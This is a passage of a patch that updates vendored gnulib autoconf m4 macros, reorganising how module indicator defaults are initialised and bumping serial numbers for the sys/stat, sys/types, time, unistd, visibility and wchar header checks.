gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKFIFOAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKNOD]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKNODAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UTIMENSAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OVERRIDES_STRUCT_STAT]) ++ dnl Support Microsoft deprecated alias function names by default. ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CHMOD], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_MKDIR], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_UMASK], [1]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_SYS_STAT_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_SYS_STAT_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_SYS_STAT_H_DEFAULTS], + [ +- AC_REQUIRE([gl_UNISTD_H_DEFAULTS]) dnl for REPLACE_FCHDIR +- GNULIB_FCHMODAT=0; AC_SUBST([GNULIB_FCHMODAT]) +- GNULIB_FSTAT=0; AC_SUBST([GNULIB_FSTAT]) +- GNULIB_FSTATAT=0; AC_SUBST([GNULIB_FSTATAT]) +- GNULIB_FUTIMENS=0; AC_SUBST([GNULIB_FUTIMENS]) +- GNULIB_GETUMASK=0; AC_SUBST([GNULIB_GETUMASK]) +- GNULIB_LCHMOD=0; AC_SUBST([GNULIB_LCHMOD]) +- GNULIB_LSTAT=0; AC_SUBST([GNULIB_LSTAT]) +- GNULIB_MKDIR=0; AC_SUBST([GNULIB_MKDIR]) +- GNULIB_MKDIRAT=0; AC_SUBST([GNULIB_MKDIRAT]) +- GNULIB_MKFIFO=0; AC_SUBST([GNULIB_MKFIFO]) +- GNULIB_MKFIFOAT=0; AC_SUBST([GNULIB_MKFIFOAT]) +- GNULIB_MKNOD=0; AC_SUBST([GNULIB_MKNOD]) +- GNULIB_MKNODAT=0; AC_SUBST([GNULIB_MKNODAT]) +- GNULIB_STAT=0; AC_SUBST([GNULIB_STAT]) +- GNULIB_UTIMENSAT=0; AC_SUBST([GNULIB_UTIMENSAT]) +- GNULIB_OVERRIDES_STRUCT_STAT=0; AC_SUBST([GNULIB_OVERRIDES_STRUCT_STAT]) +- dnl Support Microsoft deprecated alias function names by default. +- GNULIB_MDA_CHMOD=1; AC_SUBST([GNULIB_MDA_CHMOD]) +- GNULIB_MDA_MKDIR=1; AC_SUBST([GNULIB_MDA_MKDIR]) +- GNULIB_MDA_UMASK=1; AC_SUBST([GNULIB_MDA_UMASK]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_FCHMODAT=1; AC_SUBST([HAVE_FCHMODAT]) + HAVE_FSTATAT=1; AC_SUBST([HAVE_FSTATAT]) +--- a/gnulib/m4/sys_types_h.m4 ++++ b/gnulib/m4/sys_types_h.m4 +@@ -1,4 +1,4 @@ +-# sys_types_h.m4 serial 11 ++# sys_types_h.m4 serial 13 + dnl Copyright (C) 2011-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -6,10 +6,11 @@ dnl with or without modifications, as lo + + AC_DEFUN_ONCE([gl_SYS_TYPES_H], + [ ++ AC_REQUIRE([gl_SYS_TYPES_H_DEFAULTS]) ++ + dnl Use sane struct stat types in OpenVMS 8.2 and later. + AC_DEFINE([_USE_STD_STAT], 1, [For standard stat data types on VMS.]) + +- AC_REQUIRE([gl_SYS_TYPES_H_DEFAULTS]) + gl_NEXT_HEADERS([sys/types.h]) + + dnl Ensure the type pid_t gets defined. +@@ -30,6 +31,17 @@ AC_DEFUN_ONCE([gl_SYS_TYPES_H], + AC_SUBST([WINDOWS_STAT_INODES]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_SYS_TYPES_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_SYS_TYPE_H_MODULE_INDICATOR_DEFAULTS], [ ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_SYS_TYPE_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_SYS_TYPES_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_SYS_TYPES_H_DEFAULTS], + [ + ]) +--- a/gnulib/m4/time_h.m4 ++++ b/gnulib/m4/time_h.m4 +@@ -2,7 +2,7 @@ + + # Copyright (C) 2000-2001, 2003-2007, 2009-2021 Free Software Foundation, Inc. + +-# serial 15 ++# serial 18 + + # This file is free software; the Free Software Foundation + # gives unlimited permission to copy and/or distribute it, +@@ -10,16 +10,11 @@ + + # Written by Paul Eggert and Jim Meyering. + +-AC_DEFUN([gl_HEADER_TIME_H], ++AC_DEFUN_ONCE([gl_TIME_H], + [ +- dnl Use AC_REQUIRE here, so that the default behavior below is expanded +- dnl once only, before all statements that occur in other macros. +- AC_REQUIRE([gl_HEADER_TIME_H_BODY]) +-]) +- +-AC_DEFUN([gl_HEADER_TIME_H_BODY], +-[ +- AC_REQUIRE([gl_HEADER_TIME_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only, before all statements ++ dnl that occur in other macros. ++ AC_REQUIRE([gl_TIME_H_DEFAULTS]) + + gl_NEXT_HEADERS([time.h]) + AC_REQUIRE([gl_CHECK_TYPE_STRUCT_TIMESPEC]) +@@ -111,30 +106,45 @@ AC_DEFUN([gl_CHECK_TYPE_STRUCT_TIMESPEC] + AC_SUBST([UNISTD_H_DEFINES_STRUCT_TIMESPEC]) + ]) + ++# gl_TIME_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_TIME_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_HEADER_TIME_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_TIME_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + +-AC_DEFUN([gl_HEADER_TIME_H_DEFAULTS], ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_TIME_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_TIME_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CTIME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKTIME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LOCALTIME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_NANOSLEEP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRFTIME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRPTIME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIMEGM]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIMESPEC_GET]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIME_R]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIME_RZ]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TZSET]) ++ dnl Support Microsoft deprecated alias function names by default. ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_TZSET], [1]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_TIME_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_TIME_H_DEFAULTS]) ++]) ++ ++AC_DEFUN([gl_TIME_H_DEFAULTS], + [ +- GNULIB_CTIME=0; AC_SUBST([GNULIB_CTIME]) +- GNULIB_MKTIME=0; AC_SUBST([GNULIB_MKTIME]) +- GNULIB_LOCALTIME=0; AC_SUBST([GNULIB_LOCALTIME]) +- GNULIB_NANOSLEEP=0; AC_SUBST([GNULIB_NANOSLEEP]) +- GNULIB_STRFTIME=0; AC_SUBST([GNULIB_STRFTIME]) +- GNULIB_STRPTIME=0; AC_SUBST([GNULIB_STRPTIME]) +- GNULIB_TIMEGM=0; AC_SUBST([GNULIB_TIMEGM]) +- GNULIB_TIMESPEC_GET=0; AC_SUBST([GNULIB_TIMESPEC_GET]) +- GNULIB_TIME_R=0; AC_SUBST([GNULIB_TIME_R]) +- GNULIB_TIME_RZ=0; AC_SUBST([GNULIB_TIME_RZ]) +- GNULIB_TZSET=0; AC_SUBST([GNULIB_TZSET]) +- dnl Support Microsoft deprecated alias function names by default. +- GNULIB_MDA_TZSET=1; AC_SUBST([GNULIB_MDA_TZSET]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_DECL_LOCALTIME_R=1; AC_SUBST([HAVE_DECL_LOCALTIME_R]) + HAVE_NANOSLEEP=1; AC_SUBST([HAVE_NANOSLEEP]) +--- a/gnulib/m4/unistd_h.m4 ++++ b/gnulib/m4/unistd_h.m4 +@@ -1,4 +1,4 @@ +-# unistd_h.m4 serial 85 ++# unistd_h.m4 serial 89 + dnl Copyright (C) 2006-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -6,10 +6,10 @@ dnl with or without modifications, as lo + + dnl Written by Simon Josefsson, Bruno Haible. + +-AC_DEFUN([gl_UNISTD_H], ++AC_DEFUN_ONCE([gl_UNISTD_H], + [ +- dnl Use AC_REQUIRE here, so that the default behavior below is expanded +- dnl once only, before all statements that occur in other macros. ++ dnl Ensure to expand the default settings once only, before all statements ++ dnl that occur in other macros. + AC_REQUIRE([gl_UNISTD_H_DEFAULTS]) + + gl_CHECK_NEXT_HEADERS([unistd.h]) +@@ -59,100 +59,116 @@ AC_DEFUN([gl_UNISTD_H], + fi + ]) + ++# gl_UNISTD_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_UNISTD_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_UNISTD_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_UNISTD_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_UNISTD_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_UNISTD_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ACCESS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CHDIR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CHOWN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CLOSE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_COPY_FILE_RANGE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUP2]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUP3]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ENVIRON]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EUIDACCESS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECLE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECLP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECV]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECVE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECVP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECVPE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FACCESSAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCHDIR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCHOWNAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FDATASYNC]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSYNC]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FTRUNCATE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETCWD]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETDOMAINNAME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETDTABLESIZE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETENTROPY]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETGROUPS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETHOSTNAME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLOGIN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLOGIN_R]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETOPT_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETPAGESIZE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETPASS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETUSERSHELL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GROUP_MEMBER]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISATTY]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LCHOWN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LINK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LINKAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LSEEK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PIPE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PIPE2]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PREAD]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PWRITE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_READ]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_READLINK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_READLINKAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RMDIR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETHOSTNAME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SLEEP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SYMLINK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SYMLINKAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TRUNCATE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TTYNAME_R]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_GETOPT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_NONBLOCKING]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_SIGPIPE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNLINK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNLINKAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_USLEEP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WRITE]) ++ dnl Support Microsoft deprecated alias function names by default. ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_ACCESS], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CHDIR], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CLOSE], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_DUP], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_DUP2], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECL], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECLE], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECLP], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECV], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECVE], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECVP], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECVPE], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GETCWD], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GETPID], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_ISATTY], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_LSEEK], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_READ], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_RMDIR], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_SWAB], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_UNLINK], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_WRITE], [1]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_UNISTD_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_UNISTD_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_UNISTD_H_DEFAULTS], + [ +- GNULIB_ACCESS=0; AC_SUBST([GNULIB_ACCESS]) +- GNULIB_CHDIR=0; AC_SUBST([GNULIB_CHDIR]) +- GNULIB_CHOWN=0; AC_SUBST([GNULIB_CHOWN]) +- GNULIB_CLOSE=0; AC_SUBST([GNULIB_CLOSE]) +- GNULIB_COPY_FILE_RANGE=0; AC_SUBST([GNULIB_COPY_FILE_RANGE]) +- GNULIB_DUP=0; AC_SUBST([GNULIB_DUP]) +- GNULIB_DUP2=0; AC_SUBST([GNULIB_DUP2]) +- GNULIB_DUP3=0; AC_SUBST([GNULIB_DUP3]) +- GNULIB_ENVIRON=0; AC_SUBST([GNULIB_ENVIRON]) +- GNULIB_EUIDACCESS=0; AC_SUBST([GNULIB_EUIDACCESS]) +- GNULIB_EXECL=0; AC_SUBST([GNULIB_EXECL]) +- GNULIB_EXECLE=0; AC_SUBST([GNULIB_EXECLE]) +- GNULIB_EXECLP=0; AC_SUBST([GNULIB_EXECLP]) +- GNULIB_EXECV=0; AC_SUBST([GNULIB_EXECV]) +- GNULIB_EXECVE=0; AC_SUBST([GNULIB_EXECVE]) +- GNULIB_EXECVP=0; AC_SUBST([GNULIB_EXECVP]) +- GNULIB_EXECVPE=0; AC_SUBST([GNULIB_EXECVPE]) +- GNULIB_FACCESSAT=0; AC_SUBST([GNULIB_FACCESSAT]) +- GNULIB_FCHDIR=0; AC_SUBST([GNULIB_FCHDIR]) +- GNULIB_FCHOWNAT=0; AC_SUBST([GNULIB_FCHOWNAT]) +- GNULIB_FDATASYNC=0; AC_SUBST([GNULIB_FDATASYNC]) +- GNULIB_FSYNC=0; AC_SUBST([GNULIB_FSYNC]) +- GNULIB_FTRUNCATE=0; AC_SUBST([GNULIB_FTRUNCATE]) +- GNULIB_GETCWD=0; AC_SUBST([GNULIB_GETCWD]) +- GNULIB_GETDOMAINNAME=0; AC_SUBST([GNULIB_GETDOMAINNAME]) +- GNULIB_GETDTABLESIZE=0; AC_SUBST([GNULIB_GETDTABLESIZE]) +- GNULIB_GETENTROPY=0; AC_SUBST([GNULIB_GETENTROPY]) +- GNULIB_GETGROUPS=0; AC_SUBST([GNULIB_GETGROUPS]) +- GNULIB_GETHOSTNAME=0; AC_SUBST([GNULIB_GETHOSTNAME]) +- GNULIB_GETLOGIN=0; AC_SUBST([GNULIB_GETLOGIN]) +- GNULIB_GETLOGIN_R=0; AC_SUBST([GNULIB_GETLOGIN_R]) +- GNULIB_GETOPT_POSIX=0; AC_SUBST([GNULIB_GETOPT_POSIX]) +- GNULIB_GETPAGESIZE=0; AC_SUBST([GNULIB_GETPAGESIZE]) +- GNULIB_GETPASS=0; AC_SUBST([GNULIB_GETPASS]) +- GNULIB_GETUSERSHELL=0; AC_SUBST([GNULIB_GETUSERSHELL]) +- GNULIB_GROUP_MEMBER=0; AC_SUBST([GNULIB_GROUP_MEMBER]) +- GNULIB_ISATTY=0; AC_SUBST([GNULIB_ISATTY]) +- GNULIB_LCHOWN=0; AC_SUBST([GNULIB_LCHOWN]) +- GNULIB_LINK=0; AC_SUBST([GNULIB_LINK]) +- GNULIB_LINKAT=0; AC_SUBST([GNULIB_LINKAT]) +- GNULIB_LSEEK=0; AC_SUBST([GNULIB_LSEEK]) +- GNULIB_PIPE=0; AC_SUBST([GNULIB_PIPE]) +- GNULIB_PIPE2=0; AC_SUBST([GNULIB_PIPE2]) +- GNULIB_PREAD=0; AC_SUBST([GNULIB_PREAD]) +- GNULIB_PWRITE=0; AC_SUBST([GNULIB_PWRITE]) +- GNULIB_READ=0; AC_SUBST([GNULIB_READ]) +- GNULIB_READLINK=0; AC_SUBST([GNULIB_READLINK]) +- GNULIB_READLINKAT=0; AC_SUBST([GNULIB_READLINKAT]) +- GNULIB_RMDIR=0; AC_SUBST([GNULIB_RMDIR]) +- GNULIB_SETHOSTNAME=0; AC_SUBST([GNULIB_SETHOSTNAME]) +- GNULIB_SLEEP=0; AC_SUBST([GNULIB_SLEEP]) +- GNULIB_SYMLINK=0; AC_SUBST([GNULIB_SYMLINK]) +- GNULIB_SYMLINKAT=0; AC_SUBST([GNULIB_SYMLINKAT]) +- GNULIB_TRUNCATE=0; AC_SUBST([GNULIB_TRUNCATE]) +- GNULIB_TTYNAME_R=0; AC_SUBST([GNULIB_TTYNAME_R]) +- GNULIB_UNISTD_H_NONBLOCKING=0; AC_SUBST([GNULIB_UNISTD_H_NONBLOCKING]) +- GNULIB_UNISTD_H_SIGPIPE=0; AC_SUBST([GNULIB_UNISTD_H_SIGPIPE]) +- GNULIB_UNLINK=0; AC_SUBST([GNULIB_UNLINK]) +- GNULIB_UNLINKAT=0; AC_SUBST([GNULIB_UNLINKAT]) +- GNULIB_USLEEP=0; AC_SUBST([GNULIB_USLEEP]) +- GNULIB_WRITE=0; AC_SUBST([GNULIB_WRITE]) +- dnl Support Microsoft deprecated alias function names by default. +- GNULIB_MDA_ACCESS=1; AC_SUBST([GNULIB_MDA_ACCESS]) +- GNULIB_MDA_CHDIR=1; AC_SUBST([GNULIB_MDA_CHDIR]) +- GNULIB_MDA_CLOSE=1; AC_SUBST([GNULIB_MDA_CLOSE]) +- GNULIB_MDA_DUP=1; AC_SUBST([GNULIB_MDA_DUP]) +- GNULIB_MDA_DUP2=1; AC_SUBST([GNULIB_MDA_DUP2]) +- GNULIB_MDA_EXECL=1; AC_SUBST([GNULIB_MDA_EXECL]) +- GNULIB_MDA_EXECLE=1; AC_SUBST([GNULIB_MDA_EXECLE]) +- GNULIB_MDA_EXECLP=1; AC_SUBST([GNULIB_MDA_EXECLP]) +- GNULIB_MDA_EXECV=1; AC_SUBST([GNULIB_MDA_EXECV]) +- GNULIB_MDA_EXECVE=1; AC_SUBST([GNULIB_MDA_EXECVE]) +- GNULIB_MDA_EXECVP=1; AC_SUBST([GNULIB_MDA_EXECVP]) +- GNULIB_MDA_EXECVPE=1; AC_SUBST([GNULIB_MDA_EXECVPE]) +- GNULIB_MDA_GETCWD=1; AC_SUBST([GNULIB_MDA_GETCWD]) +- GNULIB_MDA_GETPID=1; AC_SUBST([GNULIB_MDA_GETPID]) +- GNULIB_MDA_ISATTY=1; AC_SUBST([GNULIB_MDA_ISATTY]) +- GNULIB_MDA_LSEEK=1; AC_SUBST([GNULIB_MDA_LSEEK]) +- GNULIB_MDA_READ=1; AC_SUBST([GNULIB_MDA_READ]) +- GNULIB_MDA_RMDIR=1; AC_SUBST([GNULIB_MDA_RMDIR]) +- GNULIB_MDA_SWAB=1; AC_SUBST([GNULIB_MDA_SWAB]) +- GNULIB_MDA_UNLINK=1; AC_SUBST([GNULIB_MDA_UNLINK]) +- GNULIB_MDA_WRITE=1; AC_SUBST([GNULIB_MDA_WRITE]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_CHOWN=1; AC_SUBST([HAVE_CHOWN]) + HAVE_COPY_FILE_RANGE=1; AC_SUBST([HAVE_COPY_FILE_RANGE]) +--- a/gnulib/m4/visibility.m4 ++++ b/gnulib/m4/visibility.m4 +@@ -1,4 +1,4 @@ +-# visibility.m4 serial 7 ++# visibility.m4 serial 8 + dnl Copyright (C) 2005, 2008, 2010-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -59,6 +59,10 @@ AC_DEFUN([gl_VISIBILITY], + extern __attribute__((__visibility__("hidden"))) int hiddenfunc (void); + extern __attribute__((__visibility__("default"))) int exportedfunc (void); + void dummyfunc (void); ++ int hiddenvar; ++ int exportedvar; ++ int hiddenfunc (void) { return 51; } ++ int exportedfunc (void) { return 1225736919; } + void dummyfunc (void) {} + ]], + [[]])], +--- a/gnulib/m4/wchar_h.m4 ++++ b/gnulib/m4/wchar_h.m4 +@@ -7,9 +7,9 @@ dnl with or without modifications, as lo + + dnl Written by Eric Blake. + +-# wchar_h.m4 serial 50 ++# wchar_h.m4 serial 53 + +-AC_DEFUN([gl_WCHAR_H], ++AC_DEFUN_ONCE([gl_WCHAR_H], + [ + AC_REQUIRE([gl_WCHAR_H_DEFAULTS]) + AC_REQUIRE([gl_WCHAR_H_INLINE_OK]) +@@ -125,60 +125,75 @@ Configuration aborted.]) + fi + ]) + ++# gl_WCHAR_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_WCHAR_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_WCHAR_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_WCHAR_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_WCHAR_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_WCHAR_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_BTOWC]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTOB]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSINIT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBRTOWC]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBRLEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSRTOWCS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSNRTOWCS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCRTOMB]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSRTOMBS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNRTOMBS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCWIDTH]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMCHR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMCMP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMCPY]) ++ 